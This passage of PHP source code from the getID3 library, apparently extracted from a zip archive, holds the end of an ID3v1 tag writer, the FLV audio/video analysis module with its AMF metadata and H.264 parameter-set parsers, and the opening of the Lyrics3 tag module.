			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
		}
		if (($genreid < 0) || ($genreid > 147)) {
			$genreid = 255; // 'unknown' genre
		}
		switch (gettype($genreid)) {
			case 'string':
			case 'integer':
				$ID3v1Tag .= chr(intval($genreid));
				break;
			default:
				$ID3v1Tag .= chr(255); // 'unknown' genre
				break;
		}

		return $ID3v1Tag;
	}

}
PKE]Giimodule.audio-video.flv.phpnuW+A<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.flv.php                                  //
// module for analyzing Shockwave Flash Video files            //
// dependencies: NONE                                          //
//                                                             //
/////////////////////////////////////////////////////////////////
//                                                             //
//  FLV module by Seth Kaufman <sethØwhirl-i-gig*com>          //
//                                                             //
//  * version 0.1 (26 June 2005)                               //
//                                                             //
//  * version 0.1.1 (15 July 2005)                             //
//  minor modifications by James Heinrich <info@getid3.org>    //
//                                                             //
//  * version 0.2 (22 February 2006)                           //
//  Support for On2 VP6 codec and meta information             //
//    by Steve Webster <steve.websterØfeaturecreep*com>        //
//                                                             //
//  * version 0.3 (15 June 2006)                               //
//  Modified to not read entire file into memory               //
//    by James Heinrich <info@getid3.org>                      //
//                                                             //
//  * version 0.4 (07 December 2007)                           //
//  Bugfixes for incorrectly parsed FLV dimensions             //
//    and incorrect parsing of onMetaTag                       //
//    by Evgeny Moysevich <moysevichØgmail*com>                //
//                                                             //
//  * version 0.5 (21 May 2009)                                //
//  Fixed parsing of audio tags and added additional codec     //
//    details. The duration is now read from onMetaTag (if     //
//    exists), rather than parsing whole file                  //
//    by Nigel Barnes <ngbarnesØhotmail*com>                   //
//                                                             //
//  * version 0.6 (24 May 2009)                                //
//  Better parsing of files with h264 video                    //
//    by Evgeny Moysevich <moysevichØgmail*com>                //
//                                                             //
//  * version 0.6.1 (30 May 2011)                              //
//    prevent infinite loops in expGolombUe()                  //
//                                                             //
//  * version 0.7.0 (16 Jul 2013)                              //
//  handle GETID3_FLV_VIDEO_VP6FLV_ALPHA                       //
//  improved AVCSequenceParameterSetReader::readData()         //
//    by Xander Schouwerwou <schouwerwouØgmail*com>            //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

define('GETID3_FLV_TAG_AUDIO',          8);
define('GETID3_FLV_TAG_VIDEO',          9);
define('GETID3_FLV_TAG_META',          18);

define('GETID3_FLV_VIDEO_H263',         2);
define('GETID3_FLV_VIDEO_SCREEN',       3);
define('GETID3_FLV_VIDEO_VP6FLV',       4);
define('GETID3_FLV_VIDEO_VP6FLV_ALPHA', 5);
define('GETID3_FLV_VIDEO_SCREENV2',     6);
define('GETID3_FLV_VIDEO_H264',         7);

define('H264_AVC_SEQUENCE_HEADER',          0);
define('H264_PROFILE_BASELINE',            66);
define('H264_PROFILE_MAIN',                77);
define('H264_PROFILE_EXTENDED',            88);
define('H264_PROFILE_HIGH',               100);
define('H264_PROFILE_HIGH10',             110);
define('H264_PROFILE_HIGH422',            122);
define('H264_PROFILE_HIGH444',            144);
define('H264_PROFILE_HIGH444_PREDICTIVE', 244);

class getid3_flv extends getid3_handler
{
	const magic = 'FLV';

	/**
	 * Break out of the loop if too many frames have been scanned; only scan this
	 * many if meta frame does not contain useful duration.
	 *
	 * @var int
	 */
	public $max_frames = 100000;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$this->fseek($info['avdataoffset']);

		$FLVdataLength = $info['avdataend'] - $info['avdataoffset'];
		$FLVheader = $this->fread(5);

		$info['fileformat'] = 'flv';
		$info['flv']['header']['signature'] =                           substr($FLVheader, 0, 3);
		$info['flv']['header']['version']   = getid3_lib::BigEndian2Int(substr($FLVheader, 3, 1));
		$TypeFlags                          = getid3_lib::BigEndian2Int(substr($FLVheader, 4, 1));

		if ($info['flv']['header']['signature'] != self::magic) {
			$this->error('Expecting "'.getid3_lib::PrintHexBytes(self::magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['flv']['header']['signature']).'"');
			unset($info['flv'], $info['fileformat']);
			return false;
		}

		$info['flv']['header']['hasAudio'] = (bool) ($TypeFlags & 0x04);
		$info['flv']['header']['hasVideo'] = (bool) ($TypeFlags & 0x01);

		$FrameSizeDataLength = getid3_lib::BigEndian2Int($this->fread(4));
		$FLVheaderFrameLength = 9;
		if ($FrameSizeDataLength > $FLVheaderFrameLength) {
			$this->fseek($FrameSizeDataLength - $FLVheaderFrameLength, SEEK_CUR);
		}
		$Duration = 0;
		$found_video = false;
		$found_audio = false;
		$found_meta  = false;
		$found_valid_meta_playtime = false;
		$tagParseCount = 0;
		$info['flv']['framecount'] = array('total'=>0, 'audio'=>0, 'video'=>0);
		$flv_framecount = &$info['flv']['framecount'];
		while ((($this->ftell() + 16) < $info['avdataend']) && (($tagParseCount++ <= $this->max_frames) || !$found_valid_meta_playtime))  {
			$ThisTagHeader = $this->fread(16);

			$PreviousTagLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  0, 4));
			$TagType           = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  4, 1));
			$DataLength        = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  5, 3));
			$Timestamp         = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  8, 3));
			$LastHeaderByte    = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 15, 1));
			$NextOffset = $this->ftell() - 1 + $DataLength;
			if ($Timestamp > $Duration) {
				$Duration = $Timestamp;
			}

			$flv_framecount['total']++;
			switch ($TagType) {
				case GETID3_FLV_TAG_AUDIO:
					$flv_framecount['audio']++;
					if (!$found_audio) {
						$found_audio = true;
						$info['flv']['audio']['audioFormat']     = ($LastHeaderByte >> 4) & 0x0F;
						$info['flv']['audio']['audioRate']       = ($LastHeaderByte >> 2) & 0x03;
						$info['flv']['audio']['audioSampleSize'] = ($LastHeaderByte >> 1) & 0x01;
						$info['flv']['audio']['audioType']       =  $LastHeaderByte       & 0x01;
					}
					break;

				case GETID3_FLV_TAG_VIDEO:
					$flv_framecount['video']++;
					if (!$found_video) {
						$found_video = true;
						$info['flv']['video']['videoCodec'] = $LastHeaderByte & 0x07;

						$FLVvideoHeader = $this->fread(11);
						$PictureSizeEnc = array();

						if ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H264) {
							// this code block contributed by: moysevichØgmail*com

							$AVCPacketType = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 0, 1));
							if ($AVCPacketType == H264_AVC_SEQUENCE_HEADER) {
								//	read AVCDecoderConfigurationRecord
								$configurationVersion       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  4, 1));
								$AVCProfileIndication       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  5, 1));
								$profile_compatibility      = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  6, 1));
								$lengthSizeMinusOne         = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  7, 1));
								$numOfSequenceParameterSets = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  8, 1));

								if (($numOfSequenceParameterSets & 0x1F) != 0) {
									//	there is at least one SequenceParameterSet
									//	read size of the first SequenceParameterSet
									//$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2));
									$spsSize = getid3_lib::LittleEndian2Int(substr($FLVvideoHeader, 9, 2));
									//	read the first SequenceParameterSet
									$sps = $this->fread($spsSize);
									if (strlen($sps) == $spsSize) {	//	make sure that whole SequenceParameterSet was red
										$spsReader = new AVCSequenceParameterSetReader($sps);
										$spsReader->readData();
										$info['video']['resolution_x'] = $spsReader->getWidth();
										$info['video']['resolution_y'] = $spsReader->getHeight();
									}
								}
							}
							// end: moysevichØgmail*com

						} elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H263) {

							$PictureSizeType = (getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 3, 2))) >> 7;
							$PictureSizeType = $PictureSizeType & 0x0007;
							$info['flv']['header']['videoSizeType'] = $PictureSizeType;
							switch ($PictureSizeType) {
								case 0:
									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2));
									//$PictureSizeEnc <<= 1;
									//$info['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8;
									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
									//$PictureSizeEnc <<= 1;
									//$info['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8;

									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 2)) >> 7;
									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)) >> 7;
									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFF;
									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFF;
									break;

								case 1:
									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 3)) >> 7;
									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 3)) >> 7;
									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFFFF;
									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFFFF;
									break;

								case 2:
									$info['video']['resolution_x'] = 352;
									$info['video']['resolution_y'] = 288;
									break;

								case 3:
									$info['video']['resolution_x'] = 176;
									$info['video']['resolution_y'] = 144;
									break;

								case 4:
									$info['video']['resolution_x'] = 128;
									$info['video']['resolution_y'] = 96;
									break;

								case 5:
									$info['video']['resolution_x'] = 320;
									$info['video']['resolution_y'] = 240;
									break;

								case 6:
									$info['video']['resolution_x'] = 160;
									$info['video']['resolution_y'] = 120;
									break;

								default:
									$info['video']['resolution_x'] = 0;
									$info['video']['resolution_y'] = 0;
									break;

							}

						} elseif ($info['flv']['video']['videoCodec'] ==  GETID3_FLV_VIDEO_VP6FLV_ALPHA) {

							/* contributed by schouwerwouØgmail*com */
							if (!isset($info['video']['resolution_x'])) { // only when meta data isn't set
								$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
								$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 2));
								$info['video']['resolution_x'] = ($PictureSizeEnc['x'] & 0xFF) << 3;
								$info['video']['resolution_y'] = ($PictureSizeEnc['y'] & 0xFF) << 3;
							}
							/* end schouwerwouØgmail*com */

						}
						if (!empty($info['video']['resolution_x']) && !empty($info['video']['resolution_y'])) {
							$info['video']['pixel_aspect_ratio'] = $info['video']['resolution_x'] / $info['video']['resolution_y'];
						}
					}
					break;

				// Meta tag
				case GETID3_FLV_TAG_META:
					if (!$found_meta) {
						$found_meta = true;
						$this->fseek(-1, SEEK_CUR);
						$datachunk = $this->fread($DataLength);
						$AMFstream = new AMFStream($datachunk);
						$reader = new AMFReader($AMFstream);
						$eventName = $reader->readData();
						$info['flv']['meta'][$eventName] = $reader->readData();
						unset($reader);

						$copykeys = array('framerate'=>'frame_rate', 'width'=>'resolution_x', 'height'=>'resolution_y', 'audiodatarate'=>'bitrate', 'videodatarate'=>'bitrate');
						foreach ($copykeys as $sourcekey => $destkey) {
							if (isset($info['flv']['meta']['onMetaData'][$sourcekey])) {
								switch ($sourcekey) {
									case 'width':
									case 'height':
										$info['video'][$destkey] = intval(round($info['flv']['meta']['onMetaData'][$sourcekey]));
										break;
									case 'audiodatarate':
										$info['audio'][$destkey] = getid3_lib::CastAsInt(round($info['flv']['meta']['onMetaData'][$sourcekey] * 1000));
										break;
									case 'videodatarate':
									case 'frame_rate':
									default:
										$info['video'][$destkey] = $info['flv']['meta']['onMetaData'][$sourcekey];
										break;
								}
							}
						}
						if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
							$found_valid_meta_playtime = true;
						}
					}
					break;

				default:
					// noop
					break;
			}
			$this->fseek($NextOffset);
		}

		$info['playtime_seconds'] = $Duration / 1000;
		if ($info['playtime_seconds'] > 0) {
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}

		if ($info['flv']['header']['hasAudio']) {
			$info['audio']['codec']           =   self::audioFormatLookup($info['flv']['audio']['audioFormat']);
			$info['audio']['sample_rate']     =     self::audioRateLookup($info['flv']['audio']['audioRate']);
			$info['audio']['bits_per_sample'] = self::audioBitDepthLookup($info['flv']['audio']['audioSampleSize']);

			$info['audio']['channels']   =  $info['flv']['audio']['audioType'] + 1; // 0=mono,1=stereo
			$info['audio']['lossless']   = ($info['flv']['audio']['audioFormat'] ? false : true); // 0=uncompressed
			$info['audio']['dataformat'] = 'flv';
		}
		if (!empty($info['flv']['header']['hasVideo'])) {
			$info['video']['codec']      = self::videoCodecLookup($info['flv']['video']['videoCodec']);
			$info['video']['dataformat'] = 'flv';
			$info['video']['lossless']   = false;
		}

		// Set information from meta
		if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
			$info['playtime_seconds'] = $info['flv']['meta']['onMetaData']['duration'];
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}
		if (isset($info['flv']['meta']['onMetaData']['audiocodecid'])) {
			$info['audio']['codec'] = self::audioFormatLookup($info['flv']['meta']['onMetaData']['audiocodecid']);
		}
		if (isset($info['flv']['meta']['onMetaData']['videocodecid'])) {
			$info['video']['codec'] = self::videoCodecLookup($info['flv']['meta']['onMetaData']['videocodecid']);
		}
		return true;
	}

	/**
	 * @param int $id
	 *
	 * @return string|false
	 */
	public static function audioFormatLookup($id) {
		static $lookup = array(
			0  => 'Linear PCM, platform endian',
			1  => 'ADPCM',
			2  => 'mp3',
			3  => 'Linear PCM, little endian',
			4  => 'Nellymoser 16kHz mono',
			5  => 'Nellymoser 8kHz mono',
			6  => 'Nellymoser',
			7  => 'G.711A-law logarithmic PCM',
			8  => 'G.711 mu-law logarithmic PCM',
			9  => 'reserved',
			10 => 'AAC',
			11 => 'Speex',
			12 => false, // unknown?
			13 => false, // unknown?
			14 => 'mp3 8kHz',
			15 => 'Device-specific sound',
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return int|false
	 */
	public static function audioRateLookup($id) {
		static $lookup = array(
			0 =>  5500,
			1 => 11025,
			2 => 22050,
			3 => 44100,
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return int|false
	 */
	public static function audioBitDepthLookup($id) {
		static $lookup = array(
			0 =>  8,
			1 => 16,
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return string|false
	 */
	public static function videoCodecLookup($id) {
		static $lookup = array(
			GETID3_FLV_VIDEO_H263         => 'Sorenson H.263',
			GETID3_FLV_VIDEO_SCREEN       => 'Screen video',
			GETID3_FLV_VIDEO_VP6FLV       => 'On2 VP6',
			GETID3_FLV_VIDEO_VP6FLV_ALPHA => 'On2 VP6 with alpha channel',
			GETID3_FLV_VIDEO_SCREENV2     => 'Screen video v2',
			GETID3_FLV_VIDEO_H264         => 'Sorenson H.264',
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}
}

class AMFStream
{
	/**
	 * @var string
	 */
	public $bytes;

	/**
	 * @var int
	 */
	public $pos;

	/**
	 * @param string $bytes
	 */
	public function __construct(&$bytes) {
		$this->bytes =& $bytes;
		$this->pos = 0;
	}

	/**
	 * @return int
	 */
	public function readByte() { //  8-bit
		return ord(substr($this->bytes, $this->pos++, 1));
	}

	/**
	 * @return int
	 */
	public function readInt() { // 16-bit
		return ($this->readByte() << 8) + $this->readByte();
	}

	/**
	 * @return int
	 */
	public function readLong() { // 32-bit
		return ($this->readByte() << 24) + ($this->readByte() << 16) + ($this->readByte() << 8) + $this->readByte();
	}

	/**
	 * @return float|false
	 */
	public function readDouble() {
		return getid3_lib::BigEndian2Float($this->read(8));
	}

	/**
	 * @return string
	 */
	public function readUTF() {
		$length = $this->readInt();
		return $this->read($length);
	}

	/**
	 * @return string
	 */
	public function readLongUTF() {
		$length = $this->readLong();
		return $this->read($length);
	}

	/**
	 * @param int $length
	 *
	 * @return string
	 */
	public function read($length) {
		$val = substr($this->bytes, $this->pos, $length);
		$this->pos += $length;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekByte() {
		$pos = $this->pos;
		$val = $this->readByte();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekInt() {
		$pos = $this->pos;
		$val = $this->readInt();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekLong() {
		$pos = $this->pos;
		$val = $this->readLong();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return float|false
	 */
	public function peekDouble() {
		$pos = $this->pos;
		$val = $this->readDouble();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return string
	 */
	public function peekUTF() {
		$pos = $this->pos;
		$val = $this->readUTF();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return string
	 */
	public function peekLongUTF() {
		$pos = $this->pos;
		$val = $this->readLongUTF();
		$this->pos = $pos;
		return $val;
	}
}

class AMFReader
{
	/**
	* @var AMFStream
	*/
	public $stream;

	/**
	 * @param AMFStream $stream
	 */
	public function __construct(AMFStream $stream) {
		$this->stream = $stream;
	}

	/**
	 * @return mixed
	 */
	public function readData() {
		$value = null;

		$type = $this->stream->readByte();
		switch ($type) {

			// Double
			case 0:
				$value = $this->readDouble();
			break;

			// Boolean
			case 1:
				$value = $this->readBoolean();
				break;

			// String
			case 2:
				$value = $this->readString();
				break;

			// Object
			case 3:
				$value = $this->readObject();
				break;

			// null
			case 6:
				return null;

			// Mixed array
			case 8:
				$value = $this->readMixedArray();
				break;

			// Array
			case 10:
				$value = $this->readArray();
				break;

			// Date
			case 11:
				$value = $this->readDate();
				break;

			// Long string
			case 13:
				$value = $this->readLongString();
				break;

			// XML (handled as string)
			case 15:
				$value = $this->readXML();
				break;

			// Typed object (handled as object)
			case 16:
				$value = $this->readTypedObject();
				break;

			// Long string
			default:
				$value = '(unknown or unsupported data type)';
				break;
		}

		return $value;
	}

	/**
	 * @return float|false
	 */
	public function readDouble() {
		return $this->stream->readDouble();
	}

	/**
	 * @return bool
	 */
	public function readBoolean() {
		return $this->stream->readByte() == 1;
	}

	/**
	 * @return string
	 */
	public function readString() {
		return $this->stream->readUTF();
	}

	/**
	 * @return array
	 */
	public function readObject() {
		// Get highest numerical index - ignored
//		$highestIndex = $this->stream->readLong();

		$data = array();
		$key = null;

		while ($key = $this->stream->readUTF()) {
			$data[$key] = $this->readData();
		}
		// Mixed array record ends with empty string (0x00 0x00) and 0x09
		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
			// Consume byte
			$this->stream->readByte();
		}
		return $data;
	}

	/**
	 * @return array
	 */
	public function readMixedArray() {
		// Get highest numerical index - ignored
		$highestIndex = $this->stream->readLong();

		$data = array();
		$key = null;

		while ($key = $this->stream->readUTF()) {
			if (is_numeric($key)) {
				$key = (int) $key;
			}
			$data[$key] = $this->readData();
		}
		// Mixed array record ends with empty string (0x00 0x00) and 0x09
		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
			// Consume byte
			$this->stream->readByte();
		}

		return $data;
	}

	/**
	 * @return array
	 */
	public function readArray() {
		$length = $this->stream->readLong();
		$data = array();

		for ($i = 0; $i < $length; $i++) {
			$data[] = $this->readData();
		}
		return $data;
	}

	/**
	 * @return float|false
	 */
	public function readDate() {
		$timestamp = $this->stream->readDouble();
		$timezone = $this->stream->readInt();
		return $timestamp;
	}

	/**
	 * @return string
	 */
	public function readLongString() {
		return $this->stream->readLongUTF();
	}

	/**
	 * @return string
	 */
	public function readXML() {
		return $this->stream->readLongUTF();
	}

	/**
	 * @return array
	 */
	public function readTypedObject() {
		$className = $this->stream->readUTF();
		return $this->readObject();
	}
}

class AVCSequenceParameterSetReader
{
	/**
	 * @var string
	 */
	public $sps;
	public $start = 0;
	public $currentBytes = 0;
	public $currentBits = 0;

	/**
	 * @var int
	 */
	public $width;

	/**
	 * @var int
	 */
	public $height;

	/**
	 * @param string $sps
	 */
	public function __construct($sps) {
		$this->sps = $sps;
	}

	public function readData() {
		$this->skipBits(8);
		$this->skipBits(8);
		$profile = $this->getBits(8);                               // read profile
		if ($profile > 0) {
			$this->skipBits(8);
			$level_idc = $this->getBits(8);                         // level_idc
			$this->expGolombUe();                                   // seq_parameter_set_id // sps
			$this->expGolombUe();                                   // log2_max_frame_num_minus4
			$picOrderType = $this->expGolombUe();                   // pic_order_cnt_type
			if ($picOrderType == 0) {
				$this->expGolombUe();                               // log2_max_pic_order_cnt_lsb_minus4
			} elseif ($picOrderType == 1) {
				$this->skipBits(1);                                 // delta_pic_order_always_zero_flag
				$this->expGolombSe();                               // offset_for_non_ref_pic
				$this->expGolombSe();                               // offset_for_top_to_bottom_field
				$num_ref_frames_in_pic_order_cnt_cycle = $this->expGolombUe(); // num_ref_frames_in_pic_order_cnt_cycle
				for ($i = 0; $i < $num_ref_frames_in_pic_order_cnt_cycle; $i++) {
					$this->expGolombSe();                           // offset_for_ref_frame[ i ]
				}
			}
			$this->expGolombUe();                                   // num_ref_frames
			$this->skipBits(1);                                     // gaps_in_frame_num_value_allowed_flag
			$pic_width_in_mbs_minus1 = $this->expGolombUe();        // pic_width_in_mbs_minus1
			$pic_height_in_map_units_minus1 = $this->expGolombUe(); // pic_height_in_map_units_minus1

			$frame_mbs_only_flag = $this->getBits(1);               // frame_mbs_only_flag
			if ($frame_mbs_only_flag == 0) {
				$this->skipBits(1);                                 // mb_adaptive_frame_field_flag
			}
			$this->skipBits(1);                                     // direct_8x8_inference_flag
			$frame_cropping_flag = $this->getBits(1);               // frame_cropping_flag

			$frame_crop_left_offset   = 0;
			$frame_crop_right_offset  = 0;
			$frame_crop_top_offset    = 0;
			$frame_crop_bottom_offset = 0;

			if ($frame_cropping_flag) {
				$frame_crop_left_offset   = $this->expGolombUe();   // frame_crop_left_offset
				$frame_crop_right_offset  = $this->expGolombUe();   // frame_crop_right_offset
				$frame_crop_top_offset    = $this->expGolombUe();   // frame_crop_top_offset
				$frame_crop_bottom_offset = $this->expGolombUe();   // frame_crop_bottom_offset
			}
			$this->skipBits(1);                                     // vui_parameters_present_flag
			// etc

			$this->width  = (($pic_width_in_mbs_minus1 + 1) * 16) - ($frame_crop_left_offset * 2) - ($frame_crop_right_offset * 2);
			$this->height = ((2 - $frame_mbs_only_flag) * ($pic_height_in_map_units_minus1 + 1) * 16) - ($frame_crop_top_offset * 2) - ($frame_crop_bottom_offset * 2);
		}
	}

	/**
	 * @param int $bits
	 */
	public function skipBits($bits) {
		$newBits = $this->currentBits + $bits;
		$this->currentBytes += (int)floor($newBits / 8);
		$this->currentBits = $newBits % 8;
	}

	/**
	 * @return int
	 */
	public function getBit() {
		$result = (getid3_lib::BigEndian2Int(substr($this->sps, $this->currentBytes, 1)) >> (7 - $this->currentBits)) & 0x01;
		$this->skipBits(1);
		return $result;
	}

	/**
	 * @param int $bits
	 *
	 * @return int
	 */
	public function getBits($bits) {
		$result = 0;
		for ($i = 0; $i < $bits; $i++) {
			$result = ($result << 1) + $this->getBit();
		}
		return $result;
	}

	/**
	 * @return int
	 */
	public function expGolombUe() {
		$significantBits = 0;
		$bit = $this->getBit();
		while ($bit == 0) {
			$significantBits++;
			$bit = $this->getBit();

			if ($significantBits > 31) {
				// something is broken, this is an emergency escape to prevent infinite loops
				return 0;
			}
		}
		return (1 << $significantBits) + $this->getBits($significantBits) - 1;
	}

	/**
	 * @return int
	 */
	public function expGolombSe() {
		$result = $this->expGolombUe();
		if (($result & 0x01) == 0) {
			return -($result >> 1);
		} else {
			return ($result + 1) >> 1;
		}
	}

	/**
	 * @return int
	 */
	public function getWidth() {
		return $this->width;
	}

	/**
	 * @return int
	 */
	public function getHeight() {
		return $this->height;
	}
}
PKE]{//module.tag.lyrics3.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
///                                                            //
// module.tag.lyrics3.php                                      //
// module for analyzing Lyrics3 tags                           //
// dependencies: module.tag.apetag.php (optional)              //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
class getid3_lyrics3 extends getid3_handler
{
	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		// http://www.volweb.cz/str/tags.htm

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		$this->fseek((0 - 128 - 9 - 6), SEEK_END);          // end - ID3v1 - "LYRICSEND" - [Lyrics3size]
		$lyrics3offset = null;
		$lyrics3version = null;
		$lyrics3size   = null;
		$lyrics3_id3v1 = $this->fread(128 + 9 + 6);
		$lyrics3lsz    = (int) substr($lyrics3_id3v1, 0, 6); // Lyrics3size
		$lyrics3end    = substr($lyrics3_id3v1,  6,   9); // LYRICSEND or LYRICS200
		$id3v1tag      = substr($lyrics3_id3v1, 15, 128); // ID3v1

		if ($lyrics3end == 'LYRICSEND') {
			// Lyrics3v1, ID3v1, no APE

			$lyrics3size    = 5100;
			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
			$lyrics3version = 1;

		} elseif ($lyrics3end == 'LYRICS200') {
			// Lyrics3v2, ID3v1, no APE

			// LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
			$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200');
			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
			$lyrics3version = 2;

		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) {
			// Lyrics3v1, no ID3v1, no APE

			$lyrics3size    = 5100;
			$lyrics3offset  = $info['filesize'] - $lyrics3size;
			$lyrics3version = 1;
			$lyrics3offset  = $info['filesize'] - $lyrics3size;

		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) {

			// Lyrics3v2, no ID3v1, no APE

			$lyrics3size    = (int) strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
			$lyrics3offset  = $info['filesize'] - $lyrics3size;
			$lyrics3version = 2;

		} else {

			if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) {

				$this->fseek($info['ape']['tag_offset_start'] - 15);
				$lyrics3lsz = $this->fread(6);
				$lyrics3end = $this->fread(9);

				if ($lyrics3end == 'LYRICSEND') {
					// Lyrics3v1, APE, maybe ID3v1

					$lyrics3size    = 5100;
					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
					$info['avdataend'] = $lyrics3offset;
					$lyrics3version = 1;
					$this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability');

				} elseif ($lyrics3end == 'LYRICS200') {
					// Lyrics3v2, APE, maybe ID3v1

					$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
					$lyrics3version = 2;
					$this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability');

				}

			}

		}

		if (isset($lyrics3offset) && isset($lyrics3version) && isset($lyrics3size)) {
			$info['avdataend'] = $lyrics3offset;
			$this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size);

			if (!isset($info['ape'])) {
				if (isset($info['lyrics3']['tag_offset_start'])) {
					$GETID3_ERRORARRAY = &$info['warning'];
					if ($this->getid3->option_tag_apetag) {
						getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true);
						$getid3_temp = new getID3();
						$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
						$getid3_apetag = new getid3_apetag($getid3_temp);
						$getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start'];
						$getid3_apetag->Analyze();
						if (!empty($getid3_temp->info['ape'])) {
							$info['ape'] = $getid3_temp->info['ape'];
						}
						if (!empty($getid3_temp->info['replay_gain'])) {
							$info['replay_gain'] = $getid3_temp->info['replay_gain'];
						}
						unset($getid3_temp, $getid3_apetag);
					} else {
						$this->warning('Unable to check for Lyrics3 and APE tags interaction since option_tag_apetag=FALSE');
					}
				} else {
					$this->warning('Lyrics3 and APE tags appear to have become entangled (most likely due to updating the APE tags with a non-Lyrics3-aware tagger)');
				}
			}

		}

		return true;
	}

	/**
	 * @param int $endoffset
	 * @param int $version
	 * @param int $length
	 *
	 * @return bool
	 */
	public function getLyrics3Data($endoffset, $version, $length) {
		// http://www.volweb.cz/str/tags.htm

		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($endoffset)) {
			$this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
